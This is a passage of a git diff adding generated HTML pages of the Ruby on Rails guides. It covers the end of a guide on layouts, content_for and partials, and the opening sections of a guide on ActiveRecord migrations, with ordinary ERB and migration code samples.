+<span style="font-weight: bold"><span style="color: #0000FF"></html></span></span>
+</tt></pre></div></div>
+<div class="para"><p>You can also create a layout with multiple yielding regions:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF"><html></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><head></span></span>
+ <%= yield :head %>
+ <span style="font-weight: bold"><span style="color: #0000FF"></head></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><body></span></span>
+ <%= yield %>
+ <span style="font-weight: bold"><span style="color: #0000FF"><hbody></span></span>
+<span style="font-weight: bold"><span style="color: #0000FF"></html></span></span>
+</tt></pre></div></div>
+<div class="para"><p>The main body of the view will always render into the unnamed <tt>yield</tt>. To render content into a named <tt>yield</tt>, you use the <tt>content_for</tt> method.</p></div>
+<h3 id="_using_tt_content_for_tt">3.3. Using <tt>content_for</tt></h3>
+<div class="para"><p>The <tt>content_for</tt> method allows you to insert content into a <tt>yield</tt> block in your layout. You only use <tt>content_for</tt> to insert content in named yields. For example, this view would work with the layout that you just saw:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><% content_for :head do %>
+ <span style="font-weight: bold"><span style="color: #0000FF"><title></span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF"></title></span></span>
+<% end %>
+
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+</tt></pre></div></div>
+<div class="para"><p>The result of rendering this page into the supplied layout would be this HTML:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF"><html></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><head></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><title></span></span>A simple page<span style="font-weight: bold"><span style="color: #0000FF"></title></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"></head></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><body></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>Hello, Rails!<span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><hbody></span></span>
+<span style="font-weight: bold"><span style="color: #0000FF"></html></span></span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>content_for</tt> method is very helpful when your layout contains distinct regions such as sidebars and footers that should get their own blocks of content inserted. It's also useful for inserting tags that load page-specific javascript or css files into the header of an otherwise-generic layout.</p></div>
+<h3 id="_using_partials">3.4. Using Partials</h3>
+<div class="para"><p>Partial templates - usually just called "partials" - are another device for breaking apart the rendering process into more manageable chunks. With a partial, you can move the code for rendering a particular piece of a response to its own file.</p></div>
+<h4 id="_naming_partials">3.4.1. Naming Partials</h4>
+<div class="para"><p>To render a partial as part of a view, you use the <tt>render</tt> method within the view, and include the <tt>:partial</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= render :partial =></span> <span style="color: #FF0000">"menu"</span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p>This will render a file named <tt>_menu.html.erb</tt> at that point within the view being rendered. Note the leading underscore character: partials are named with a leading underscore to distinguish them from regular views, even though they are referred to without the underscore. This holds true even when you're pulling in a partial from another folder:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000"><%= render :partial =></span> <span style="color: #FF0000">"shared/menu"</span> <span style="color: #990000">%></span>
+</tt></pre></div></div>
+<div class="para"><p>That code will pull in the partial from <tt>app/views/shared/_menu.html.erb</tt>.</p></div>
+<h4 id="_using_partials_to_simplify_views">3.4.2. Using Partials to Simplify Views</h4>
+<div class="para"><p>One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what's going on more easily. For example, you might have a view that looked like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= render :partial => "shared/ad_banner" %>
+
+<span style="font-weight: bold"><span style="color: #0000FF"><h1></span></span>Products<span style="font-weight: bold"><span style="color: #0000FF"></h1></span></span>
+
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>Here are a few of our fine products:<span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+...
+
+<%= render :partial => "shared/footer" %>
+</tt></pre></div></div>
+<div class="para"><p>Here, the <tt>_ad_banner.html.erb</tt> and <tt>_footer.html.erb</tt> partials could contain content that is shared among many pages in your application. You don't need to see the details of these sections when you're concentrating on a particular page.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">For content that is shared among all pages in your application, you can use partials directly from layouts.</td>
+</tr></table>
+</div>
+<h4 id="_partial_layouts">3.4.3. Partial Layouts</h4>
+<div class="para"><p>A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= render :partial => "link_area", :layout => "graybar" %>
+</tt></pre></div></div>
+<div class="para"><p>This would look for a partial named <tt>_link_area.html.erb</tt> and render it using the layout <tt>_graybar.html.erb</tt>. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master <tt>layouts</tt> folder).</p></div>
+<h4 id="_passing_local_variables">3.4.4. Passing Local Variables</h4>
+<div class="para"><p>You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>new.rhtml.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><h1></span></span>New zone<span style="font-weight: bold"><span style="color: #0000FF"></h1></span></span>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :button_label => "Create zone", :zone => @zone } %>
+
+edit.html.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><h1></span></span>Editing zone<span style="font-weight: bold"><span style="color: #0000FF"></h1></span></span>
+<%= error_messages_for :zone %>
+<%= render :partial => "form", :locals => { :button_label => "Update zone", :zone => @zone } %>
+
+_form.html.erb:
+
+<% form_for(@zone) do |f| %>
+ <span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><b></span></span>Zone name<span style="font-weight: bold"><span style="color: #0000FF"></b><br</span></span> <span style="font-weight: bold"><span style="color: #0000FF">/></span></span>
+ <%= f.text_field :name %>
+ <span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>
+ <%= f.submit button_label %>
+ <span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+<% end %>
+</tt></pre></div></div>
+<div class="para"><p>Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.</p></div>
+<div class="para"><p>Every partial also has a local variable with the same name as the partial (minus the underscore). By default, it will look for an instance variable with the same name as the partial in the parent. You can pass an object in to this local variable via the <tt>:object</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= render :partial => "customer", :object => @new_customer %>
+</tt></pre></div></div>
+<div class="para"><p>Within the <tt>customer</tt> partial, the <tt>@customer</tt> variable will refer to <tt>@new_customer</tt> from the parent view.</p></div>
+<div class="para"><p>If you have an instance of a model to render into a partial, you can use a shorthand syntax:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= render :partial => @customer %>
+</tt></pre></div></div>
+<div class="para"><p>Assuming that the <tt>@customer</tt> instance variable contains an instance of the <tt>Customer</tt> model, this will use <tt>_customer.html.erb</tt> to render it.</p></div>
+<h4 id="_rendering_collections">3.4.5. Rendering Collections</h4>
+<div class="para"><p>Partials are very useful in rendering collections. When you pass a collection to a partial via the <tt>:collection</tt> option, the partial will be inserted once for each member in the collection:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>index.rhtml.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><h1></span></span>Products<span style="font-weight: bold"><span style="color: #0000FF"></h1></span></span>
+<%= render :partial => "product", :collection => @products %>
+
+_product.html.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>Product Name: <%= product.name %><span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+</tt></pre></div></div>
+<div class="para"><p>When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is <tt>_product, and within the +_product</tt> partial, you can refer to <tt>product</tt> to get the instance that is being rendered. To use a custom local variable name within the partial, specify the <tt>:as</tt> option in the call to the partial:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= render :partial => "product", :collection => @products, :as => :item %>
+</tt></pre></div></div>
+<div class="para"><p>With this change, you can access an instance of the <tt>@products</tt> collection as the <tt>item</tt> local variable within the partial.</p></div>
+<div class="para"><p>You can also specify a second partial to be rendered between instances of the main partial by using the <tt>:spacer_template</tt> option:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><%= render :partial => "product", :collection => @products, :spacer_template => "product_ruler" %>
+</tt></pre></div></div>
+<div class="para"><p>Rails will render the <tt>_product_ruler</tt> partial (with no data passed in to it) between each pair of <tt>_product</tt> partials.</p></div>
+<div class="para"><p>There's also a shorthand syntax available for rendering collections. For example, if <tt>@products</tt> is a collection of products, you can render the collection this way:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>index.rhtml.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><h1></span></span>Products<span style="font-weight: bold"><span style="color: #0000FF"></h1></span></span>
+<%= render :partial => @products %>
+
+_product.html.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>Product Name: <%= product.name %><span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>index.rhtml.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><h1></span></span>Contacts<span style="font-weight: bold"><span style="color: #0000FF"></h1></span></span>
+<%= render :partial => [customer1, employee1, customer2, employee2] %>
+
+_customer.html.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>Name: <%= customer.name %><span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+
+_employee.html.erb:
+
+<span style="font-weight: bold"><span style="color: #0000FF"><p></span></span>Name: <%= employee.name %><span style="font-weight: bold"><span style="color: #0000FF"></p></span></span>
+</tt></pre></div></div>
+<div class="para"><p>In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.</p></div>
+</div>
+<h2 id="_changelog">4. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+October 16, 2008: Ready for publication by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+October 4, 2008: Additional info on partials (<tt>:object</tt>, <tt>:as</tt>, and <tt>:spacer_template</tt>) by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+September 28, 2008: First draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+ + </div> + </div> +</body> +</html> diff --git a/railties/doc/guides/html/migrations.html b/railties/doc/guides/html/migrations.html new file mode 100644 index 0000000000..0fd30ee2eb --- /dev/null +++ b/railties/doc/guides/html/migrations.html @@ -0,0 +1,921 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> +<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en"> +<head> + <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> + <title>Migrations</title> + <!--[if lt IE 8]> + <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script> + <![endif]--> + <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" /> + <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" /> + <style type="text/css"> + div#container { + max-width: 900px; + padding-bottom: 3em; +} + +div#content { + margin-left: 200px; +} + +div#container.notoc { + max-width: 600px; +} + +.notoc div#content { + margin-left: 0; +} + +pre { + line-height: 1.4em; +} + +#content p tt { + background: #eeeeee; + border: solid 1px #cccccc; + padding: 3px; +} + +dt { + font-weight: bold; +} + +#content dt tt { + font-size: 10pt; +} + +dd { + margin-left: 3em; +} + +#content dt tt, #content pre tt { + background: none; + padding: 0; + border: 0; +} + +#content .olist ol { + margin-left: 2em; +} + +#header { + position: relative; + max-width: 840px; + margin-left: auto; + margin-right: auto; +} + +#header.notoc { + max-width: 580px; +} + +#logo { + position: absolute; + left: 10px; + top: 10px; + width: 110px; + height: 140px; +} + +div#header h1#site_title { + background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat; + position: absolute; + width: 392px; + height: 55px; + left: 145px; + top: 20px; + margin: 0; + padding: 0; +} + +#site_title span { + display: none; +} + +#site_title_tagline { + display: none; +} + +ul#navMain { + position: absolute; + margin: 0; + padding: 0; + top: 97px; + left: 145px; +} + +.left-floaty, .right-floaty { + padding: 15px; +} + +.admonitionblock, +.tableblock { + margin-left: 1em; + margin-right: 1em; + margin-top: 0.25em; + margin-bottom: 1em; +} + +.admonitionblock .icon { + padding-right: 8px; +} + +.admonitionblock .content { + border: solid 1px #ffda78; + background: #fffebd; + padding: 10px; + padding-top: 8px; + padding-bottom: 8px; +} + +.admonitionblock .title { + font-size: 140%; + margin-bottom: 0.5em; +} + +.tableblock table { + border: solid 1px #aaaaff; + background: #f0f0ff; +} + +.tableblock th { + background: #e0e0e0; +} + +.tableblock th, +.tableblock td { + padding: 3px; + padding-left: 5px; + padding-right: 5px; +} + +.sidebarblock { + margin-top: 0.25em; + margin: 1em; + border: solid 1px #ccccbb; + padding: 8px; + background: #ffffe0; +} + +.sidebarblock .sidebar-title { + font-size: 140%; + font-weight: 600; + margin-bottom: 0.3em; +} + +.sidebarblock .sidebar-content > .para:last-child > p { + margin-bottom: 0; +} + +.sidebarblock .sidebar-title a { + text-decoration: none; +} + +.sidebarblock .sidebar-title a:hover { + text-decoration: underline; +} + + </style> +</head> +<body> + <div id="header" > + <div id="logo"> + <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a> + </div> + + <h1 id="site_title"><span>Ruby on Rails</span></h1> + <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2> + + <ul id="navMain"> + <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li> + <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li> + </ul> + </div> + + <div id="container"> + + <div id="sidebar"> + <h2>Chapters</h2> + <ol> + <li> + <a href="#_anatomy_of_a_migration">Anatomy Of A Migration</a> + <ul> + + <li><a href="#_migrations_are_classes">Migrations are classes</a></li> + + <li><a href="#_what_s_in_a_name">What's in a name</a></li> + + <li><a href="#_changing_migrations">Changing migrations</a></li> + + </ul> + </li> + <li> + <a href="#_creating_a_migration">Creating A Migration</a> + <ul> + + <li><a href="#_creating_a_model">Creating a model</a></li> + + <li><a href="#_creating_a_standalone_migration">Creating a standalone migration</a></li> + + </ul> + </li> + <li> + <a href="#_writing_a_migration">Writing a Migration</a> + <ul> + + <li><a href="#_creating_a_table">Creating a table</a></li> + + <li><a href="#_changing_tables">Changing tables</a></li> + + <li><a href="#_special_helpers">Special helpers</a></li> + + <li><a href="#_writing_your_down_method">Writing your down method</a></li> + + </ul> + </li> + <li> + <a href="#_running_migrations">Running Migrations</a> + <ul> + + <li><a href="#_rolling_back">Rolling back</a></li> + + <li><a href="#_being_specific">Being Specific</a></li> + + <li><a href="#_being_talkative">Being talkative</a></li> + + </ul> + </li> + <li> + <a href="#models">Using Models In Your Migrations</a> + <ul> + + <li><a href="#_dealing_with_changing_models">Dealing with changing models</a></li> + + </ul> + </li> + <li> + <a href="#_schema_dumping_and_you">Schema dumping and you</a> + <ul> + + <li><a href="#schema">What are schema files for?</a></li> + + <li><a href="#_types_of_schema_dumps">Types of schema dumps</a></li> + + <li><a href="#_schema_dumps_and_source_control">Schema dumps and source control</a></li> + + </ul> + </li> + <li> + <a href="#foreign_key">Active Record and Referential Integrity</a> + </li> + <li> + <a href="#_changelog">Changelog</a> + </li> + </ol> + </div> + + <div id="content"> + <h1>Migrations</h1> + <div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You'd also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run <tt>rake db:migrate</tt>. Active Record will work out which migrations should be run.</p></div>
+<div class="para"><p>Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record's functionality) it is database independent: you don't need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.</p></div>
+<div class="para"><p>You'll learn all about migrations including:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The generators you can use to create them
+</p>
+</li>
+<li>
+<p>
+The methods Active Record provides to manipulate your database
+</p>
+</li>
+<li>
+<p>
+The Rake tasks that manipulate them
+</p>
+</li>
+<li>
+<p>
+How they relate to <tt>schema.rb</tt>
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_anatomy_of_a_migration">1. Anatomy Of A Migration</h2>
+<div class="sectionbody">
+<div class="para"><p>Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
+
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>products
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This migration adds a table called <tt>products</tt> with a string column called <tt>name</tt> and a text column called <tt>description</tt>. A primary key column called <tt>id</tt> will also be added, however since this is the default we do not need to ask for this. The timestamp columns <tt>created_at</tt> and <tt>updated_at</tt> which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.</p></div>
+<div class="para"><p>Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddReceiveNewsletterToUsers <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ change_table <span style="color: #990000">:</span>users <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>boolean <span style="color: #990000">:</span>receive_newsletter<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=></span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ User<span style="color: #990000">.</span>update_all <span style="color: #990000">[</span><span style="color: #FF0000">"receive_newsletter = ?"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">]</span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>receive_newsletter
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This migration adds an <tt>receive_newsletter</tt> column to the <tt>users</tt> table. We want it to default to <tt>false</tt> for new users, but existing users are considered
+to have already opted in, so we use the User model to set the flag to <tt>true</tt> for existing users.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="/Users/lifo/Docs/docrails/railties/doc/guides/source/icons/note.png" alt="Note" />
+</td>
+<td class="content">Some <a href="#models">caveats</a> apply to using models in your migrations.</td>
+</tr></table>
+</div>
+<h3 id="_migrations_are_classes">1.1. Migrations are classes</h3>
+<div class="para"><p>A migration is a subclass of ActiveRecord::Migration that implements two class methods: <tt>up</tt> (perform the required transformations) and <tt>down</tt> (revert them).</p></div>
+<div class="para"><p>Active Record provides methods that perform common data definition tasks in a database independent way (you'll read about them in detail later):</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+<tt>create_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>change_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>drop_table</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>add_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>remove_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>change_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>rename_column</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>add_index</tt>
+</p>
+</li>
+<li>
+<p>
+<tt>remove_index</tt>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>If you need to perform tasks specific to your database (for example create a <a href="#foreign_key">foreign key</a> constraint) then the <tt>execute</tt> function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you're not limited to these functions. For example after adding a column you could
+write code to set the value of that column for existing records (if necessary using your models).</p></div>
+<div class="para"><p>On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.</p></div>
+<h3 id="_what_s_in_a_name">1.2. What's in a name</h3>
+<div class="para"><p>Migrations are stored in files in <tt>db/migrate</tt>, one for each migration class. The name of the file is of the form <tt>YYYYMMDDHHMMSS_create_products.rb</tt>, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class' name must match (the camelcased version of) the latter part of the file name. For example <tt>20080906120000_create_products.rb</tt> should define CreateProducts and <tt>20080906120001_add_details_to_products.rb</tt> should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.</p></div>
+<div class="para"><p>Internally Rails only uses the migration's number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting <tt>config.active_record.timestamped_migrations</tt> to <tt>false</tt> in <tt>environment.rb</tt>.</p></div>
+<div class="para"><p>The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.</p></div>
+<div class="para"><p>For example Alice adds migrations <tt>20080906120000</tt> and <tt>20080906123000</tt> and Bob adds <tt>20080906124500</tt> and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice's two migrations so <tt>rake db:migrate</tt> would run them (even though Bob's migration with a later timestamp has been run), and similarly migrating down would not run their down methods.</p></div>
+<div class="para"><p>Of course this is no substitution for communication within the team, for example if Alice's migration removed a table that Bob's migration assumed the existence of then trouble will still occur.</p></div>
+<h3 id="_changing_migrations">1.3. Changing migrations</h3>
+<div class="para"><p>Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run <tt>rake db:migrate</tt>. You must rollback the migration (for example with <tt>rake db:rollback</tt>), edit your migration and then run <tt>rake db:migrate</tt> to run the corrected version.</p></div>
+<div class="para"><p>In general editing existing migrations is not a good idea: you will be creating extra work for yourself and your co-workers and cause major headaches if the existing version of the migration has already been run on production machines. Instead you should write a new migration that performs the changes you require. Editing a freshly generated migration that has not yet been committed to source control (or more generally which has not been propagated beyond your development machine) is relatively harmless. Just use some common sense.</p></div>
+</div>
+<h2 id="_creating_a_migration">2. Creating A Migration</h2>
+<div class="sectionbody">
+<h3 id="_creating_a_model">2.1. Creating a model</h3>
+<div class="para"><p>The model and scaffold generators will create migrations appropriate for adding a new model. This migration will already contain instructions for creating the relevant table. If you tell Rails what columns you want then statements for adding those will also be created. For example, running</p></div>
+<div class="para"><p><tt>ruby script/generate model Product name:string description:text</tt> will create a migration that looks like this</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000"><</span> ActiveRecord<span style="color: #990000">::</span>Migration
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
+ create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
+ t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
+ t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
+
+ t<span style="color: #990000">.</span>timestamps
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+
+ <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
+ drop_table <span style="color: #990000">:</span>products
+ <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
